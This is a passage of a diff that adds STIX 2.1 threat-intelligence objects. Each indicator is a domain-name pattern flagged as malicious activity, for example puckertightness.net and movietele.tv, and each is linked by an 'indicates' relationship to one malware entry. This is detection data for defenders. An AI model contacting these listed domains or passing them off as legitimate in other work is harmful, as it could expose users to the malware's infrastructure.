"indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='puckertightness.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.568724Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ef97d4d0-8b0c-451d-8c21-f1a85b4f634f", + "created": "2023-03-29T12:58:43.569333Z", + "modified": "2023-03-29T12:58:43.569333Z", + "relationship_type": "indicates", + "source_ref": "indicator--cc15c441-9e5c-4e8f-a959-302ca7fb7624", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e5d5bf6-ef00-457f-aebb-c5eecee13aff", + "created": "2023-03-29T12:58:43.569506Z", + "modified": "2023-03-29T12:58:43.569506Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prenatalexpel.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.569506Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ab22cb72-c7a4-4bbb-8a0b-d417614ec3c9", + "created": "2023-03-29T12:58:43.570118Z", + "modified": "2023-03-29T12:58:43.570118Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e5d5bf6-ef00-457f-aebb-c5eecee13aff", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4c792fb6-c79c-419d-9190-3bfb14b67ce6", + "created": "2023-03-29T12:58:43.570291Z", + "modified": "2023-03-29T12:58:43.570291Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hummusrepaying.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.570291Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0576efc7-7b72-411e-9745-e2cd1fecab5a", + "created": "2023-03-29T12:58:43.570896Z", + "modified": "2023-03-29T12:58:43.570896Z", + "relationship_type": "indicates", + "source_ref": "indicator--4c792fb6-c79c-419d-9190-3bfb14b67ce6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0a2a1644-557a-4dfa-ae8b-5250625b9a1c", + "created": "2023-03-29T12:58:43.571069Z", + "modified": "2023-03-29T12:58:43.571069Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='roamingtree.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.571069Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f0c56acc-7d5e-47dc-b054-9a24339f0a19", + "created": "2023-03-29T12:58:43.571671Z", + "modified": "2023-03-29T12:58:43.571671Z", + "relationship_type": "indicates", + "source_ref": "indicator--0a2a1644-557a-4dfa-ae8b-5250625b9a1c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff33f0af-cc48-47b0-a0d0-1f78d9c40e9e", + "created": "2023-03-29T12:58:43.571844Z", + "modified": "2023-03-29T12:58:43.571844Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='attractorbronchial.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.571844Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e3d97eb2-9b05-4739-aa18-80ddebd8a31d", + "created": "2023-03-29T12:58:43.572452Z", + "modified": "2023-03-29T12:58:43.572452Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff33f0af-cc48-47b0-a0d0-1f78d9c40e9e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--221a918e-2f76-4a9f-9221-dee85f40a7c6", + "created": "2023-03-29T12:58:43.572626Z", + "modified": "2023-03-29T12:58:43.572626Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tweedtranslate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.572626Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1dd947fe-dd00-4a51-9fe3-728d4a9fa4c3", + "created": "2023-03-29T12:58:43.573236Z", + "modified": "2023-03-29T12:58:43.573236Z", + "relationship_type": "indicates", + "source_ref": "indicator--221a918e-2f76-4a9f-9221-dee85f40a7c6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2e34896e-a6c9-4f21-a06f-f9ebdd4d096d", + "created": "2023-03-29T12:58:43.573411Z", + "modified": "2023-03-29T12:58:43.573411Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='compostdeflector.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.573411Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fd609ac0-e376-440b-a9cc-2d2bcc37fabb", + "created": "2023-03-29T12:58:43.57403Z", + "modified": "2023-03-29T12:58:43.57403Z", + "relationship_type": "indicates", + "source_ref": "indicator--2e34896e-a6c9-4f21-a06f-f9ebdd4d096d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed488563-faaf-4235-9390-4d5a4f97cd30", + "created": "2023-03-29T12:58:43.574227Z", + "modified": "2023-03-29T12:58:43.574227Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='endorsecongress.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.574227Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c66c86e0-f0f1-4e7f-9740-b82dfdd62960", + "created": "2023-03-29T12:58:43.574909Z", + "modified": "2023-03-29T12:58:43.574909Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed488563-faaf-4235-9390-4d5a4f97cd30", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--537d3214-5f26-4c6e-82e1-dd44fed3ce46", + "created": "2023-03-29T12:58:43.575086Z", + "modified": "2023-03-29T12:58:43.575086Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spooncapillary.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.575086Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f931fc7c-c64f-4095-892b-7155f0560007", + "created": "2023-03-29T12:58:43.57583Z", + "modified": "2023-03-29T12:58:43.57583Z", + "relationship_type": "indicates", + "source_ref": "indicator--537d3214-5f26-4c6e-82e1-dd44fed3ce46", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a1f034df-9729-48b4-a324-4f9261b85e66", + "created": "2023-03-29T12:58:43.576009Z", + "modified": "2023-03-29T12:58:43.576009Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cheatingtributary.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.576009Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ab37d490-8b2f-49d0-8a13-ef2edc94be45", + "created": "2023-03-29T12:58:43.576663Z", + "modified": "2023-03-29T12:58:43.576663Z", + "relationship_type": "indicates", + "source_ref": "indicator--a1f034df-9729-48b4-a324-4f9261b85e66", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a7c1f8ee-e0ce-47d9-9ad6-abc6213d36e9", + "created": "2023-03-29T12:58:43.576844Z", + "modified": "2023-03-29T12:58:43.576844Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='harnesslanguage.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.576844Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--97b0ff81-b7a8-4865-bb03-2c051784261e", + "created": "2023-03-29T12:58:43.577462Z", + "modified": "2023-03-29T12:58:43.577462Z", + "relationship_type": "indicates", + "source_ref": "indicator--a7c1f8ee-e0ce-47d9-9ad6-abc6213d36e9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fd7b7a6b-e51e-4c42-a627-aa617955cfce", + "created": "2023-03-29T12:58:43.577645Z", + "modified": "2023-03-29T12:58:43.577645Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='amideasiest.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.577645Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--92621716-dd69-453f-8548-fbc812496218", + "created": "2023-03-29T12:58:43.57825Z", + "modified": "2023-03-29T12:58:43.57825Z", + "relationship_type": "indicates", + "source_ref": "indicator--fd7b7a6b-e51e-4c42-a627-aa617955cfce", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--424574ce-2674-4bdd-a4e9-0221e18a16ed", + "created": "2023-03-29T12:58:43.578421Z", + "modified": "2023-03-29T12:58:43.578421Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blendavenue.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.578421Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d44ed25-e855-4e54-9a41-3ce463048091", + "created": "2023-03-29T12:58:43.579023Z", + "modified": "2023-03-29T12:58:43.579023Z", + "relationship_type": "indicates", + "source_ref": "indicator--424574ce-2674-4bdd-a4e9-0221e18a16ed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--33bfc835-1422-458b-a61d-563cb2ef03cd", + "created": "2023-03-29T12:58:43.579195Z", + "modified": "2023-03-29T12:58:43.579195Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='moonedcapacity.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.579195Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d34a09ec-bb58-4920-a374-55ccbf35a3aa", + "created": "2023-03-29T12:58:43.579798Z", + "modified": "2023-03-29T12:58:43.579798Z", + "relationship_type": "indicates", + "source_ref": "indicator--33bfc835-1422-458b-a61d-563cb2ef03cd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ad731c59-0295-4214-b211-348185f796ea", + "created": "2023-03-29T12:58:43.579969Z", + "modified": "2023-03-29T12:58:43.579969Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='easinessmonotype.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.579969Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--84b2282a-4a11-484b-bb80-7cab7312aedb", + "created": "2023-03-29T12:58:43.580573Z", + "modified": "2023-03-29T12:58:43.580573Z", + "relationship_type": "indicates", + "source_ref": "indicator--ad731c59-0295-4214-b211-348185f796ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8fed51dc-5ffe-457b-872c-68bb3ba8a90e", + "created": "2023-03-29T12:58:43.580743Z", + "modified": "2023-03-29T12:58:43.580743Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='panicunblessed.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.580743Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--84e48932-96e8-4a59-8096-0f484de653f2", + "created": "2023-03-29T12:58:43.58135Z", + "modified": "2023-03-29T12:58:43.58135Z", + "relationship_type": "indicates", + "source_ref": "indicator--8fed51dc-5ffe-457b-872c-68bb3ba8a90e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e19a5308-77dc-4509-9632-3d368693fbac", + "created": "2023-03-29T12:58:43.581523Z", + "modified": "2023-03-29T12:58:43.581523Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='approvalrocking.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.581523Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aaeeb7ff-6cc2-4ffa-ae4d-69773257ad8f", + "created": "2023-03-29T12:58:43.582142Z", + "modified": "2023-03-29T12:58:43.582142Z", + "relationship_type": "indicates", + "source_ref": "indicator--e19a5308-77dc-4509-9632-3d368693fbac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5adbb5d7-09f2-4dd2-8dca-4d91601299d9", + "created": "2023-03-29T12:58:43.582313Z", + "modified": "2023-03-29T12:58:43.582313Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='defilingrectify.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.582313Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7237adb0-4cd5-453f-87ad-07a8cfa3d308", + "created": "2023-03-29T12:58:43.583338Z", + "modified": "2023-03-29T12:58:43.583338Z", + "relationship_type": "indicates", + "source_ref": "indicator--5adbb5d7-09f2-4dd2-8dca-4d91601299d9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7d9e52b9-8454-4b0c-bbe2-ff5c2bceeef2", + "created": "2023-03-29T12:58:43.58358Z", + "modified": "2023-03-29T12:58:43.58358Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='variedmud.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.58358Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1de75e5d-6450-4917-b6e0-8d4ed3da7dd8", + "created": "2023-03-29T12:58:43.584254Z", + "modified": "2023-03-29T12:58:43.584254Z", + "relationship_type": "indicates", + "source_ref": "indicator--7d9e52b9-8454-4b0c-bbe2-ff5c2bceeef2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f343eea4-1a4c-463b-a3c7-53cfb039ca72", + "created": "2023-03-29T12:58:43.584436Z", + "modified": "2023-03-29T12:58:43.584436Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dwellingacting.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.584436Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c00eb114-c066-4452-a15b-6a4d7a9b422e", + "created": "2023-03-29T12:58:43.585045Z", + "modified": "2023-03-29T12:58:43.585045Z", + "relationship_type": "indicates", + "source_ref": "indicator--f343eea4-1a4c-463b-a3c7-53cfb039ca72", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4242087a-ffc2-49f4-a27e-095e2aed1a59", + "created": "2023-03-29T12:58:43.585215Z", + "modified": "2023-03-29T12:58:43.585215Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='seizinggreedily.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.585215Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5a020d93-e10a-44e1-869b-89b2260747e9", + "created": "2023-03-29T12:58:43.585984Z", + "modified": "2023-03-29T12:58:43.585984Z", + "relationship_type": "indicates", + "source_ref": "indicator--4242087a-ffc2-49f4-a27e-095e2aed1a59", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f4ba03c1-8df7-4859-a6b9-4c6aa0291c9a", + "created": "2023-03-29T12:58:43.586164Z", + "modified": "2023-03-29T12:58:43.586164Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='broomthigh.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.586164Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--47d2d8ff-df20-4990-b8a1-8bce9d6358dd", + "created": "2023-03-29T12:58:43.586766Z", + "modified": "2023-03-29T12:58:43.586766Z", + "relationship_type": "indicates", + "source_ref": "indicator--f4ba03c1-8df7-4859-a6b9-4c6aa0291c9a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--706bfde2-0dd4-4e67-89c1-6861af00829d", + "created": "2023-03-29T12:58:43.586939Z", + "modified": "2023-03-29T12:58:43.586939Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='calamariclunky.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.586939Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--57065ee6-3730-4c88-b5d7-c955623d81f9", + "created": "2023-03-29T12:58:43.587548Z", + "modified": "2023-03-29T12:58:43.587548Z", + "relationship_type": "indicates", + "source_ref": "indicator--706bfde2-0dd4-4e67-89c1-6861af00829d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d785da14-05e2-46b5-aeba-fe7ae64453c5", + "created": "2023-03-29T12:58:43.587723Z", + "modified": "2023-03-29T12:58:43.587723Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shoremongoose.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.587723Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1b18cb65-62f7-47da-8873-c79c6b7c75a2", + "created": "2023-03-29T12:58:43.588333Z", + "modified": "2023-03-29T12:58:43.588333Z", + "relationship_type": "indicates", + "source_ref": "indicator--d785da14-05e2-46b5-aeba-fe7ae64453c5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--24475883-8f84-410b-ac4c-8c04c0098e78", + "created": "2023-03-29T12:58:43.588506Z", + "modified": "2023-03-29T12:58:43.588506Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tubularrisotto.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.588506Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--04f3e4b0-ba93-4741-a105-cae875462698", + "created": "2023-03-29T12:58:43.589112Z", + "modified": "2023-03-29T12:58:43.589112Z", + "relationship_type": "indicates", + "source_ref": "indicator--24475883-8f84-410b-ac4c-8c04c0098e78", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a859d612-fdcc-4d0b-b9d0-3db0e7e0ab79", + "created": "2023-03-29T12:58:43.589285Z", + "modified": "2023-03-29T12:58:43.589285Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='puristparrot.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.589285Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d8028e64-b0a9-45e3-b165-10a8ec5389fb", + "created": "2023-03-29T12:58:43.589893Z", + "modified": "2023-03-29T12:58:43.589893Z", + "relationship_type": "indicates", + "source_ref": "indicator--a859d612-fdcc-4d0b-b9d0-3db0e7e0ab79", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--036ad259-39f6-487d-af8e-ea8a49c1834b", + "created": "2023-03-29T12:58:43.590066Z", + "modified": "2023-03-29T12:58:43.590066Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nuttinessdrowsily.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.590066Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--914f36bc-3ea9-4143-a6e5-25f8f042669f", + "created": "2023-03-29T12:58:43.590791Z", + "modified": "2023-03-29T12:58:43.590791Z", + "relationship_type": "indicates", + "source_ref": "indicator--036ad259-39f6-487d-af8e-ea8a49c1834b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--05675e12-c596-4955-b2a3-27c89078691e", + "created": "2023-03-29T12:58:43.590966Z", + "modified": "2023-03-29T12:58:43.590966Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='movietele.tv']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.590966Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--854e2f42-5e36-4478-ba06-be599dda2dcb", + "created": "2023-03-29T12:58:43.591616Z", + "modified": "2023-03-29T12:58:43.591616Z", + "relationship_type": "indicates", + "source_ref": "indicator--05675e12-c596-4955-b2a3-27c89078691e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5dad58f-559c-4b3c-8a64-b6822aa3c69e", + "created": "2023-03-29T12:58:43.591793Z", + "modified": "2023-03-29T12:58:43.591793Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rockpartcan.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.591793Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--89996852-39ea-4572-9b9c-64ddffc42015", + "created": "2023-03-29T12:58:43.592395Z", + "modified": "2023-03-29T12:58:43.592395Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5dad58f-559c-4b3c-8a64-b6822aa3c69e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--95d0b30b-8ce4-44f4-96a8-13b33fdcac5b", + "created": "2023-03-29T12:58:43.592568Z", + "modified": "2023-03-29T12:58:43.592568Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nirvanadevelopments.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.592568Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--af955cb1-b45d-42f1-a6ca-8f71f0b915fc", + "created": "2023-03-29T12:58:43.593178Z", + "modified": "2023-03-29T12:58:43.593178Z", + "relationship_type": "indicates", + "source_ref": "indicator--95d0b30b-8ce4-44f4-96a8-13b33fdcac5b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0bcc0a0d-eb01-4acb-b4cb-f11bf34f48db", + "created": "2023-03-29T12:58:43.593384Z", + "modified": "2023-03-29T12:58:43.593384Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='movie-tele.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.593384Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--85ef3e33-1884-44fe-aa52-428d18e58c61", + "created": "2023-03-29T12:58:43.594012Z", + "modified": "2023-03-29T12:58:43.594012Z", + "relationship_type": "indicates", + "source_ref": "indicator--0bcc0a0d-eb01-4acb-b4cb-f11bf34f48db", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2cdf465e-406c-474e-81b0-b83a13edf657", + "created": "2023-03-29T12:58:43.594186Z", + "modified": "2023-03-29T12:58:43.594186Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='worshiperunsoiled.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.594186Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--01a8d873-f97d-4e4a-a3d3-0dae4698d2de", + "created": "2023-03-29T12:58:43.594797Z", + "modified": "2023-03-29T12:58:43.594797Z", + "relationship_type": "indicates", + "source_ref": "indicator--2cdf465e-406c-474e-81b0-b83a13edf657", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42b41ff6-a7e4-4df4-8a80-a308f73d3c00", + "created": "2023-03-29T12:58:43.594973Z", + "modified": "2023-03-29T12:58:43.594973Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='brewingblitz.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.594973Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--813c6aa5-38c5-4f1c-b82f-5626dda45084", + "created": "2023-03-29T12:58:43.595574Z", + "modified": "2023-03-29T12:58:43.595574Z", + "relationship_type": "indicates", + "source_ref": "indicator--42b41ff6-a7e4-4df4-8a80-a308f73d3c00", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6d360e95-d690-4b4a-b80f-ecd832f4cb77", + "created": "2023-03-29T12:58:43.595747Z", + "modified": "2023-03-29T12:58:43.595747Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dugoutsparred.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.595747Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d506b904-6468-43bb-a74e-912f3f88557b", + "created": "2023-03-29T12:58:43.59635Z", + "modified": "2023-03-29T12:58:43.59635Z", + "relationship_type": "indicates", + "source_ref": "indicator--6d360e95-d690-4b4a-b80f-ecd832f4cb77", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b372b22-805b-4b4d-8e33-9e9e366cd885", + "created": "2023-03-29T12:58:43.596524Z", + "modified": "2023-03-29T12:58:43.596524Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='favoritegraceful.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.596524Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--41b76355-58e2-4e78-aec1-9d4d4770efe6", + "created": "2023-03-29T12:58:43.59713Z", + "modified": "2023-03-29T12:58:43.59713Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b372b22-805b-4b4d-8e33-9e9e366cd885", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ecfdc121-fb7b-4219-94dd-c4d7c9b7cac4", + "created": "2023-03-29T12:58:43.597314Z", + "modified": "2023-03-29T12:58:43.597314Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='usedrecite.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.597314Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eaf1088c-5326-4919-abe9-e5198dce968e", + "created": "2023-03-29T12:58:43.598027Z", + "modified": "2023-03-29T12:58:43.598027Z", + "relationship_type": "indicates", + "source_ref": "indicator--ecfdc121-fb7b-4219-94dd-c4d7c9b7cac4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e4654e5-48dd-4081-8b0a-ce9396700074", + "created": "2023-03-29T12:58:43.598206Z", + "modified": "2023-03-29T12:58:43.598206Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twistedcamera.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.598206Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--55c27087-7f6b-4975-a53b-41059ae4bfa8", + "created": "2023-03-29T12:58:43.598815Z", + "modified": "2023-03-29T12:58:43.598815Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e4654e5-48dd-4081-8b0a-ce9396700074", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": 